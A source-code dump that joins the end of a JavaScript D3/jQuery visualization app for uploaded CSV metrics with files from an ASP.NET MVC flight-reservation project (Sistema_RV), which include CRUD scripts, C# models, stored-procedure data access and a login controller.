for( var prop in METRIC_PROP.METRIC_TYPES[ type ] ){
// Insert "new" if label
if( prop == "label" ){
this[ prop ] = label + METRIC_PROP.METRIC_TYPES[ type ][ prop ];
} else {
this[ prop ] = METRIC_PROP.METRIC_TYPES[ type ][ prop ];
}
}
if ( this.permuted ) {
this.permuted = permutedData;
}
} else {
// Default metric settings
this.label = this.key; // Name of the metric, for putting into arrays, etc.
this.dataType = "String"
// Standard maximum and minimum values for this metric
this.domainType = METRIC_PROP.DOMAIN_TYPES.MIN_MAX;
}
// Determine if can be visualized by a grid
if( this.dataType == "String" ) {
this.visualizationType.grid = false; // Cannot be visualized by a grid
} else {
this.visualizationType.grid = true;
}
} else {
console.log("Error: MetricInstance constructor missing type name. ")
}
};
MetricInstance.prototype = {
setDomain: function ( data , dataLocation ) {
var thisObj = this; // The current Metric Instance
var dataset = data.getData();
this.domainVal[ dataLocation ] = {}; // Stores max and min for the current dataset
// If domain type not null (meaning it's not a string), set the domain values
if ( thisObj.domainType ) {
// Min needs to be calculated
if ( thisObj.domainType.min === "min" ) {
// Find and store minimum for current dataset
var newDataMin = d3.min( dataset , function (d) { return d[ thisObj.key ]; });
// Check if it has an altered pair
if(thisObj.permuted) {
if (thisObj.permuted.type == "original"){
var pairName = "new" + thisObj.key,
pairMin = d3.min( dataset , function (d) { return d[ pairName ]; });
} else {
var rPermuted = /(new)/g,
pairName = thisObj.key;
pairName = pairName.replace(rPermuted, "");
var pairMin = d3.min( dataset , function (d) { return d[ pairName ]; });
}
newDataMin = d3.min([ pairMin , newDataMin ]);
}
thisObj.domainVal[ dataLocation ].min = newDataMin;
// Compare with existing global minimum and store result
thisObj.domainVal.global.min = d3.min([ newDataMin, thisObj.domainVal.global.min]);
// There is the same min for all datasets
} else {
// Set the min for this dataset
this.domainVal[ dataLocation ].min = this.domainType.min;
// Initialize global min
if(!this.domainVal.global.min) {
this.domainVal.global.min = this.domainType.min;
}
}
// Max needs to be calculated
if ( this.domainType.max === "max" ) {
// Find and store maximum for current dataset
var newDataMax = d3.max( dataset , function (d) { return d[ thisObj.key ]; });
this.domainVal[ dataLocation ].max = newDataMax;
// Check if it has an altered pair
if(thisObj.permuted) {
if (thisObj.permuted.type == "original"){
var pairName = "new" + thisObj.key;
var pairMax = d3.max( dataset , function (d) { return d[ pairName ]; });
} else {
var rPermuted = /(new)/g;
var pairName = thisObj.key;
pairName = pairName.replace(rPermuted, "");
var pairMax = d3.max( dataset , function (d) { return d[ pairName ]; });
}
newDataMax = d3.max([ pairMax , newDataMax ]);
}
thisObj.domainVal[ dataLocation ].max = newDataMax;
// Compare with existing global maximum and store result
this.domainVal.global.max = d3.max([ newDataMax, thisObj.domainVal.global.max]);
// There is the same max for all datasets
} else {
// Set the max for this dataset
this.domainVal[ dataLocation ].max = this.domainType.max;
// Initialize global max
if(!this.domainVal.global.max) {
this.domainVal.global.max = this.domainType.max;
}
}
}
},
getDomain:function ( key , visualizationKey ) {
if( visualizationKey == "global" ){
var min = this.domainVal.global.min;
var max = this.domainVal.global.max;
} else {
var min = this.domainVal[ key ].min;
var max = this.domainVal[ key ].max;
}
return [min, max];
},
setColorScheme: function ( key , visualizationKey , colorscheme ) {
var thisObj = this;
// return color function based on plot and dimension
function zcolor(col, dimension) {
var z = zscore(_(col).pluck(dimension).map(parseFloat))
return function(d) { return zcolorscale(z(d[dimension])) }
};
// color by zscore
function zscore(col) {
var n = col.length,
mean = _(col).mean(),
sigma = _(col).stdDeviation();
return function(d) {
return (d-mean)/sigma;
};
};
if ( thisObj.domainType ) {
if( visualizationKey == "global" ){
var min = thisObj.domainVal.global.min,
max = thisObj.domainVal.global.max,
mid = 0,
domain = [min, max];
if(max > min){
mid = ( max - min ) / 2;
} else {
mid = min;
}
if( !this.colorScale[ "global" ] ){
this.colorScale[ "global" ] = {};
}
this.colorScale[ "global" ].normal = d3.scale.linear()
.domain(domain)
.range(colorscheme.normal).interpolate(d3.interpolateRgb);
this.colorScale[ "global" ].highlight = d3.scale.linear()
.domain(domain)
.range(colorscheme.highlight).interpolate(d3.interpolateRgb);
domain = [ min, mid, max ];
this.colorScale[ "global" ].zscore = d3.scale.linear()
.domain([-2,-0.5,0.5,2])
.range(["blue", "#666", "#666", "red"]).interpolate(d3.interpolateLab);
} else {
var min = thisObj.domainVal[ key ].min;
var max = thisObj.domainVal[ key ].max;
var mid = 0;
if(max > min){
mid = ( max - min ) / 2;
} else {
mid = min;
}
var domain = [min, max];
if( !this.colorScale[ key ] ){
this.colorScale[ key ] = {};
}
if( !this.colorScale[ key ][ visualizationKey ] ){
this.colorScale[ key ][ visualizationKey ] = {};
}
this.colorScale[ key ][ visualizationKey ].normal = d3.scale.linear()
.domain(domain)
.range(colorscheme.normal).interpolate(d3.interpolateRgb);
this.colorScale[ key ][ visualizationKey ].highlight = d3.scale.linear()
.domain(domain)
.range(colorscheme.highlight).interpolate(d3.interpolateRgb);
domain = [ min, mid, max ];
this.colorScale[ key ][ visualizationKey ].zscore = d3.scale.linear()
.domain([-2,-0.5,0.5,2])
.range(["blue", "#666", "#666", "red"]).interpolate(d3.interpolateLab);
}
}
},
getNormalColorScale: function ( key , visualizationKey ) {
if( visualizationKey == "global" ){
return this.colorScale[ "global" ].normal;
} else {
return this.colorScale[ key ][ visualizationKey ].normal;
}
},
getHighlightColorScale: function ( key , visualizationKey ) {
if( visualizationKey == "global" ){
return this.colorScale[ "global" ].highlight;
} else {
return this.colorScale[ key ][ visualizationKey ].highlight;
}
},
getZscoreColorScale: function ( key , visualizationKey ) {
var zcolorscale = {};
if( visualizationKey == "global" ){
return this.colorScale[ "global" ].zscore;
} else {
return this.colorScale[ key ][ visualizationKey ].zscore;
}
},
setVisibility: function ( key , visualizationKey , visiblility ) {
if( visualizationKey == "global" ) {
if( !this.visible[ visualizationKey ] ){
this.visible[ visualizationKey ] = {};
}
this.visible[ visualizationKey ] = visiblility;
} else {
if( !this.visible[ key ] ){
this.visible[ key ] = {};
}
this.visible[ key ][ visualizationKey ] = visiblility;
}
},
isVisible: function ( key , visualizationKey ) {
if( visualizationKey == "global" ) {
return this.visible[ visualizationKey ];
} else {
return this.visible[ key ][ visualizationKey ];
}
}
}
/* Public Methods */
/** Create metric and return it */
this.createSet = function( ){
return new MetricSet( );
};
return {
createSet: createSet
};
})();
/** GUI operations for the environment */
this.gui = ( function(){
/* Private Methods */
// HTML to be loaded
var EXTERNAL_HTML = {
initialize: "html/visualizations-holder.html"
}
var activeType = "heatmap"; // Current viz type selected on the visualization navbar
var activeData = ""; // Current dataset being displayed
/** Load html and size visualization container */
this.initialize = function ( callback , thisObj , fileLocation ) {
// Load external html: Navigation, main
$("#USG-visualization").load(EXTERNAL_HTML.initialize, function done () {
var navHeight = $('#navbar-main').outerHeight() * 2, // Calculate navbar height
vizHeight = $('body').outerHeight() - navHeight; // Calculate how tall the visualization should be
// Adjust height of visualization container to maximum height
$("#vizualizations-holder, #vizualizations-holder-container").css("height", vizHeight);
$("#loadingScreen").hide(); // Hide loading screen div
callback( thisObj , fileLocation );
$('.vis-type').on('click', function(e){
activeType = $(e.target).attr("id");
showVisualization( activeData );
});
});
};
/** Add visualization to the gui controls */
this.addVisualization = function ( visualizationKey ) {
var name = "view-" + visualizationKey;
if(visualizationKey == "heatmap-overview" || visualizationKey == "parcoords-overview"){
if(visualizationKey == "heatmap-overview"){
$('#navbar-displayed-visualization').prepend('<li><a class="overview" id="' + name + '" href="' + name + '">All</a></li>');
}
} else {
$('#navbar-displayed-visualization').prepend('<li><a class="' + visualizationKey + '" id="' + name + '" href="' + name + '">' + visualizationKey + '</a></li>');
}
name = "#" + name;
$( name ).on("click", function(e){
e.preventDefault();
var visualizationKey = $(e.target).attr("class");
activeData = visualizationKey;
showVisualization( visualizationKey );
});
};
/** Display visualization */
this.showVisualization = function ( visualizationKey ) {
activeData = visualizationKey;
$('.visualization-instance').fadeOut({
duration: 0,
done: function() {
// Get which viz is visible
var key = activeType + "-" + visualizationKey;
var classnameShow = "#" + key + "-container";
$(classnameShow).fadeIn("slow");
}
});
$('#navbar-displayed-visualization-name').html( visualizationKey );
// }
};
var showAllOverviewVisualizations = function ( callback ) {
var visualizations = $('.visualization-instance');
console.log(visualizations);
if( visualizations.length > 0 ){
var i = 0;
$.when($('.visualization-instance').show()).done(function(){
callback();
});
} else {
callback();
}
};
return {
initialize: initialize,
addVisualization: addVisualization,
showVisualization: showVisualization,
showAllOverviewVisualizations: showAllOverviewVisualizations
};
})();
// Public methods
return {
create: create, // Create environment
metric: metric // Components of an environment
};
})();
/** GUI operations for the webpage at large */
this.gui = (function(){
var EXTERNAL_HTML = {
header: "html/header.html",
upload: "html/upload.html",
uploadSuccess: "html/upload-success.html"
};
// Show successful upload alert
var successUpload = function () {
$("#USG-information-upload").load(EXTERNAL_HTML.uploadSuccess, function done () {
$("#USG-information-upload").delay(1500).fadeOut("slow");
});
}
// Show upload module
var showUpload = function ( ) {
$("#USG-information-upload").load(EXTERNAL_HTML.upload, function done () {
$("#USG-information-upload").hide();
$('.csvData-btn :file').on('fileselect', function(event, numFiles, label) {
$('.csvData-label').html(label);
$("#USG-upload-submit").removeAttr("disabled");
});
$(document).on('change', '.btn-file :file', function() {
var input = $(this),
numFiles = input.get(0).files ? input.get(0).files.length : 1,
label = input.val().replace(/\\/g, '/').replace(/.*\//, '');
input.trigger('fileselect', [numFiles, label]);
});
$("#USG-information-upload").delay( 0 ).slideDown("slow");
});
return false;
};
// Initialize the GUI0
var initialize = function ( callback ) {
$("#USG-body").load(EXTERNAL_HTML.header, function done () {
showUpload();
callback();
});
};
return {
initialize: initialize,
successUpload: successUpload,
showUpload: showUpload
}
})( );
/** Upload operations */
this.upload = function ( event ) {
event.preventDefault(); // Prevent page from reloading
var thisObj = this,
form = document.getElementById('USG-csv-file-select'),
file = form.files[0],
name = file.name,
URL = "",
reader = new FileReader();
reader.onloadend = function (event) {
data = event.target.result;
thisObj.gui.successUpload();
if(showExample){
currentEnvironment.clear();
showExample = false;
}
var rReplace = /\.csv/g;
name = name.replace(rReplace, "");
currentEnvironment.parseData( name , data );
}
if (file) {
reader.readAsText(file);
}
return false;
}
/** Create environment and load example data visualization */
this.init = function () {
var createVisualization = function () {
showExample = true;
currentEnvironment = environment.create();
};
this.gui.initialize( createVisualization );
};
}).apply( USG );
$( document ).ready( function(){
USG.init();
});
| ab2d269dc5bc56bd6be8dd39b1e82b5632c033aa | [
"JavaScript",
"Python",
"Markdown"
] | 9 | Python | cathrynploehn-NIST/AuthenticationEquation | 4ad4d272d2ef1943bc8597b632134d487db4cb02 | fef55d4178a575fa5ec2592912ccdcb1f2b026d8 |
refs/heads/master | <repo_name>Martinez-Kevin/Sistema_RV---Proyecto-Final<file_sep>/Funciones/Estado_Vuelo.js
$(document).ready(function () {
Mostrar_Estados();
});
//Funcion para mostrar tabla
function Mostrar_Estados() {
$.ajax({
url: "/Admin/List_Estado_Vuelo/",
type: "GET",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
var html = '';
$.each(result, function (key, item) {
html += '<tr>';
html += '<td>' + item.Estado_ID + '</td>';
html += '<td>' + item.Estado + '</td>';
html += '<td>' + item.Descripcion + '</td>';
html += '<td><a href="#" onclick="return MostrarPorID(' + item.Estado_ID + ');" class="btn bg-info"><i class="fa fa-pencil" aria-hidden="true"></i> Editar</a> | <a href="#" onclick="return Delete_Estado_Vuelo(' + item.Estado_ID + ')" class="btn bg-danger"><i class="fa fa-trash" aria-hidden="true"></i> Eliminar</a></td>';
html += '</tr>';
});
$('tbody').html(html);
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para ingresar estados
function Add_Estado_Vuelo() {
var res = validate();
if (res == false) {
return false;
}
var empObj = {
Estado_ID: $('#EstadoID').val(),
Estado: $("#Estado").val(),
Descripcion: $("#Descrip").val(),
};
$.ajax({
url: "/Admin/Add_Estado_Vuelo",
data: JSON.stringify(empObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Estado agregado correctamente'
})
$("#modalEstadoVuelo").modal('hide');
Mostrar_Estados();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para traer los datos al modal
function MostrarPorID(EstID) {
$('#EstadoID').css('border-color', 'lightgrey');
$('#Estado').css('border-color', 'lightgrey');
$('#Descrip').css('border-color', 'lightgrey');
$.ajax({
url: "/Admin/MostrarPorID_EV/" + EstID,
type: "GET",
contentType: "application/json;charset=UTF-8",
dataType: "json",
success: function (result) {
$('#EstadoID').val(result.Estado_ID);
$('#Estado').val(result.Estado);
$('#Descrip').val(result.Descripcion);
$('#modalEstadoVuelo').modal('show');
$('#btnUpdate_EV').show();
$('#btnAdd_EV').hide();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
return false;
}
//Funcion para actualizar
function Update_Estado_Vuelo() {
var res = validate();
if (res == false) {
return false;
}
var empObj = {
Estado_ID: $('#EstadoID').val(),
Estado: $("#Estado").val(),
Descripcion: $("#Descrip").val(),
};
$.ajax({
url: "/Admin/Update_Estado_Vuelo",
data: JSON.stringify(empObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Estado actualizado correctamente'
})
$("#modalEstadoVuelo").modal('hide');
Mostrar_Estados();
clearTextBox_EST();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para eliminar estados
function Delete_Estado_Vuelo(ID) {
Swal.fire({
title: '¿Esta seguro de eliminar el registro?',
text: "Todo elemento borrado no se podra recuperar!",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonText: 'Cancelar',
cancelButtonColor: '#d33',
confirmButtonText: 'Si, eliminar'
}).then((result) => {
if (result.value) {
$.ajax({
url: "/Admin/Delete_Estado_Vuelo/" + ID,
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Estado eliminado correctamente'
})
Mostrar_Estados();
}, function(errormessage) {
alert(errormessage.responseText);
}
});
}
});
}
//Funcion para limpiar txt
function clearTextBox_EST() {
$("#EstadoID").val("");
$("#Estado").val("");
$("#Descrip").val("");
$("#btnUpdate_EV").hide();
$("#btnAdd_EV").show();
$('#Estado').css('border-color', 'lightgrey');
$('#Descrip').css('border-color', 'lightgrey');
}
function validate() {
var isValid = true;
if ($('#Estado').val().trim() == "") {
$('#Estado').css('border-color', 'Red');
isValid = false;
} else {
$('#Estado').css('border-color', 'lightgrey');
}
if ($('#Descrip').val().trim() == "") {
$('#Descrip').css('border-color', 'Red');
isValid = false;
} else {
$('#Descrip').css('border-color', 'lightgrey');
}
return isValid;
}
<file_sep>/Models/Ciudad_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Ciudad_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Mostrar Ciudad
public List<Ciudad> Mostrar_Ciudad()
{
List<Ciudad> lst = new List<Ciudad>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_ciudad", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Ciudad
{
Ciudad_ID = Convert.ToInt32(dr["id_ciudad"]),
Nombre_Ciudad = dr["nombre_ciudad"].ToString(),
Nombre_Pais = dr["nombre_pais"].ToString(),
Pais_ID = Convert.ToInt32(dr["id_pais"]),
});
}
return lst;
}
}
//Insertar ciudad
public int Insert_Ciudad(Ciudad c)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_ciudad", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@nombre_c", c.Nombre_Ciudad);
cmd.Parameters.AddWithValue("@id_pais", c.Pais_ID);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Update ciudad
public int Update_Ciudad(Ciudad c)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_ciudad", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", c.Ciudad_ID);
cmd.Parameters.AddWithValue("@id_pais", c.Pais_ID);
cmd.Parameters.AddWithValue("@nombre_c", c.Nombre_Ciudad);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Delete ciudad
public int Delete_Ciudad(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_ciudad", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Obtener los datos en un combo box
public DataSet Obtener_Pais()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Pais order by nombre_pais asc ", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
}
}<file_sep>/Models/Avion.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Avion
{
public int AvionID { get; set; }
public string Nombre_Avion { get; set; }
public string Velocidad_C { get; set; }
public string Altura_M { get; set; }
public string Capacidad_C { get; set; }
public int Cantidad_Ejecutiva { get; set; }
public int Cantidad_Economica { get; set; }
public int Asientos_Total { get; set; }
}
}<file_sep>/Models/Aerolineas.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Aerolineas
{
public int Aerolinea_ID { get; set; }
public string Nombre_Aerolinea { get; set; }
public decimal Puntualidad{ get; set; }
public decimal Calidad_Servicio { get; set; }
public decimal Gestion_Reclamo { get; set; }
public string g { get; set; }
public string cs { get; set; }
public string p { get; set; }
}
}<file_sep>/Models/Avion_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Avion_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Mostrar Avion
public List<Avion> Mostrar_Avion()
{
List<Avion> lst = new List<Avion>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_avion", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Avion
{
AvionID = Convert.ToInt32(dr["id_avion"]),
Nombre_Avion = dr["nombre_avion"].ToString(),
Velocidad_C = dr["velocidad_crucero"].ToString(),
Altura_M = dr ["altura_maxima"].ToString(),
Capacidad_C = dr["capacidad_carga"].ToString(),
Cantidad_Ejecutiva = Convert.ToInt32(dr["cant_silla_ejecutiva"]),
Cantidad_Economica = Convert.ToInt32(dr["cant_silla_economica"]),
Asientos_Total = Convert.ToInt32(dr["Cant_Asientos_Total"]),
});
}
return lst;
}
}
//Insertar Avion
public int Insert_Avion(Avion av)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_avion", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@nombre", av.Nombre_Avion);
cmd.Parameters.AddWithValue("@velocidad_c", av.Velocidad_C);
cmd.Parameters.AddWithValue("@altura_m", av.Altura_M);
cmd.Parameters.AddWithValue("@capacidad_c", av.Capacidad_C);
cmd.Parameters.AddWithValue("@cant_ejecutiva", av.Cantidad_Ejecutiva);
cmd.Parameters.AddWithValue("@cant_economica", av.Cantidad_Economica);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Update Avion
public int Update_Avion(Avion av)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_avion", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", av.AvionID);
cmd.Parameters.AddWithValue("@nombre", av.Nombre_Avion);
cmd.Parameters.AddWithValue("@velocidad_c", av.Velocidad_C);
cmd.Parameters.AddWithValue("@altura_m", av.Altura_M);
cmd.Parameters.AddWithValue("@capacidad_c", av.Capacidad_C);
cmd.Parameters.AddWithValue("@cant_ejecutiva", av.Cantidad_Ejecutiva);
cmd.Parameters.AddWithValue("@cant_economica", av.Cantidad_Economica);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Delete Avion
public int Delete_Avion(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_avion", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
}
}<file_sep>/Models/LoginRol.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Security;
namespace Sistema_RV.Models
{
public class LoginRol : RoleProvider
{
public override string ApplicationName { get => throw new NotImplementedException(); set => throw new NotImplementedException(); }
public override void AddUsersToRoles(string[] usernames, string[] roleNames)
{
throw new NotImplementedException();
}
public override void CreateRole(string roleName)
{
throw new NotImplementedException();
}
public override bool DeleteRole(string roleName, bool throwOnPopulatedRole)
{
throw new NotImplementedException();
}
public override string[] FindUsersInRole(string roleName, string usernameToMatch)
{
throw new NotImplementedException();
}
public override string[] GetAllRoles()
{
throw new NotImplementedException();
}
public override string[] GetRolesForUser(string username)
{
Sistema_RVEntities Db = new Sistema_RVEntities();
string data = Db.Logins.Where(a => a.Username == username).SingleOrDefault().Rol.NombreRol;
string[] result = { data };
return result;
}
public override string[] GetUsersInRole(string roleName)
{
throw new NotImplementedException();
}
public override bool IsUserInRole(string username, string roleName)
{
throw new NotImplementedException();
}
public override void RemoveUsersFromRoles(string[] usernames, string[] roleNames)
{
throw new NotImplementedException();
}
public override bool RoleExists(string roleName)
{
throw new NotImplementedException();
}
}
}<file_sep>/Controllers/LoginController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Web.Security;
using Sistema_RV.Models;
namespace Sistema_RV.Controllers
{
public class LoginController : Controller
{
// GET:
Sistema_RVEntities Db = new Sistema_RVEntities();
public ActionResult Login()
{
return View();
#pragma warning disable CS0162
ViewBag.Message = "";
#pragma warning restore CS0162
}
[HttpPost]
public ActionResult Login(Login log)
{
var result = Db.Logins.Where(a => a.Username == log.Username && a.Password == log.Password).ToList();
if (result.Count() > 0)
{
Session["LoginID"] = result[0].LoginID;
Session["Username"] = result[0].Username;
FormsAuthentication.SetAuthCookie(result[0].Username, false);
if (result[0].RolID==1)
{
return RedirectToAction("../Admin/Admin");
}
else if (result[0].RolID==2)
{
return RedirectToAction("../Usuario/Usuario");
}
}
else
{
ViewBag.Message = "Usuario o contraseña incorrecta";
}
return View(log);
}
public ActionResult Logout()
{
Session["LoginID"] = 0;
Session["Username"] = 0;
FormsAuthentication.SignOut();
return RedirectToAction("Login");
}
}
}<file_sep>/Models/Estado_Vuelo.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Estado_Vuelo
{
public int Estado_ID { get; set; }
public string Estado { get; set; }
public string Descripcion { get; set; }
}
}<file_sep>/Models/Aerolinea_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Aerolinea_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Mostrar aerolineas
public List<Aerolineas> Mostrar_Aerolinea()
{
List<Aerolineas> lst = new List<Aerolineas>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_aerolineas", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Aerolineas
{
Aerolinea_ID = Convert.ToInt32(dr["id_aerolinea"]),
Nombre_Aerolinea = dr["nombre_aerolinea"].ToString(),
p = dr["puntualidad"].ToString(),
cs = dr["calidad_servicio"].ToString(),
g = dr["gestion_reclamaciones"].ToString()
});
}
return lst;
}
}
//Insertar aerolineas
public int Insert_Aerolinea(Aerolineas aer)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_aerolinea", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@nombre", aer.Nombre_Aerolinea);
cmd.Parameters.AddWithValue("@puntualidad", aer.Puntualidad);
cmd.Parameters.AddWithValue("@calidad", aer.Calidad_Servicio);
cmd.Parameters.AddWithValue("@gestion", aer.Gestion_Reclamo);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Actualizar aerolineas
public int Update_Aerolinea(Aerolineas aer)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_aerolinea", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", aer.Aerolinea_ID);
cmd.Parameters.AddWithValue("@nombre", aer.Nombre_Aerolinea);
cmd.Parameters.AddWithValue("@puntualidad", aer.Puntualidad);
cmd.Parameters.AddWithValue("@calidad", aer.Calidad_Servicio);
cmd.Parameters.AddWithValue("@gestion", aer.Gestion_Reclamo);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Eliminar aerolinea
public int Delete_Aerolinea(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_aerolinea", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
}
}<file_sep>/Models/Metadata.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.ComponentModel.DataAnnotations;
namespace Sistema_RV.Models
{
[MetadataType(typeof(Usuariometada))]
public partial class Usuario
{
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
[System.Web.Mvc.Remote("UsuarioUnico", "Home", ErrorMessage = "Usuario ya registrado")]
public string Username { get; set; }
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
[DataType(System.ComponentModel.DataAnnotations.DataType.Password)]
public string Password { get; set; }
[DataType(System.ComponentModel.DataAnnotations.DataType.Password)]
[Compare("Password", ErrorMessage = "Las contraseñas no coinciden")]
[Display(Name = "Verificar contraseña")]
public string RPassword { get; set; }
}
public partial class Usuariometada
{
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
public string Nombre { get; set; }
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
public string Genero { get; set; }
[Display(Name = "Date of Birth")]
[DataType(DataType.Date)]
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
public System.DateTime Fec_Nac { get; set; }
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
public string Direccion { get; set; }
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
public string Tel { get; set; }
[EmailAddress(ErrorMessage = "Correo electronico invalido")]
[Required(ErrorMessage = "Campos obligatorios", AllowEmptyStrings = false)]
public string Email { get; set; }
}
[MetadataType(typeof(LoginMetadata))]
public partial class Login
{
}
public partial class LoginMetadata
{
public string Username { get; set; }
[DataType(DataType.Password)]
public string Password { get; set; }
}
}<file_sep>/Models/Ciudad.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Ciudad
{
public int Ciudad_ID { get; set; }
public string Nombre_Ciudad { get; set; }
public int Pais_ID { get; set; }
public string Nombre_Pais { get; set; }
}
}<file_sep>/Funciones/Avion.js
$(document).ready(function () {
Mostrar_Avion();
});
//Funcion para mostrar tabla
function Mostrar_Avion() {
$.ajax({
url: "/Admin/List_Avion/",
type: "GET",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
var html = '';
$.each(result, function (key, item) {
html += '<tr>';
html += '<td>' + item.AvionID + '</td>';
html += '<td>' + item.Nombre_Avion + '</td>';
html += '<td>' + item.Velocidad_C + '</td>';
html += '<td>' + item.Altura_M + '</td>';
html += '<td>' + item.Capacidad_C + '</td>';
html += '<td>' + item.Cantidad_Ejecutiva + '</td>';
html += '<td>' + item.Cantidad_Economica + '</td>';
html += '<td>' + item.Asientos_Total + '</td>';
